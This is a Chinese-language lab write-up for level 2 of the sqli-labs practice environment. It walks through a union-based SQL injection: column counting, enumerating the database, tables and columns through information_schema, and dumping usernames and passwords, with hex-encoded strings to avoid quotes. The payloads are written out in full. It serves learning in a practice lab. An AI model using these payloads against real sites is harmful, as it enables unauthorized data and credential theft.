sql基础操作
查库:select schema_name from information_schema.
schemata;
查表:select table_name from information_schema.tables where table_schema=‘security’;
查列:select column_name from information_schema.columns where table_name=‘users’
查字段:select username,password from security.users
为了方便了解注入的语句,在第二关的代码中添加
echo $sql;//输出构造的sql语句
echo "<br>";//换行符
判断是否存在注入
?id=1'
order by 查列
?id=1 order by 4 --+
查得只有三列
union select回显
?id=-1 union select 1,2,3--+
注意:id一定为不存在的数据 ,后面–+为注释符号
利用联合查询查库
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+
猜测security库应该是比较重要的
查表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+
0x为‘的十六进制
security也改为十六进制->7365637572697479
查列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+
7573657273为十六进制的users
查字段
?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password))from security.users --+
0x7e为十六进制的’~’,防止引入单引号
碎碎念
第二关整体流程跟第一关很相似,基础不好的可以看我的第一关笔记,里面有比较详细的基础知识
建议不要把sqli-labs搭建在服务器里,注入一次要好久才能刷新出来,确实有点搞心态了
感觉半个小时就可以搞定的流程,写了一个小时……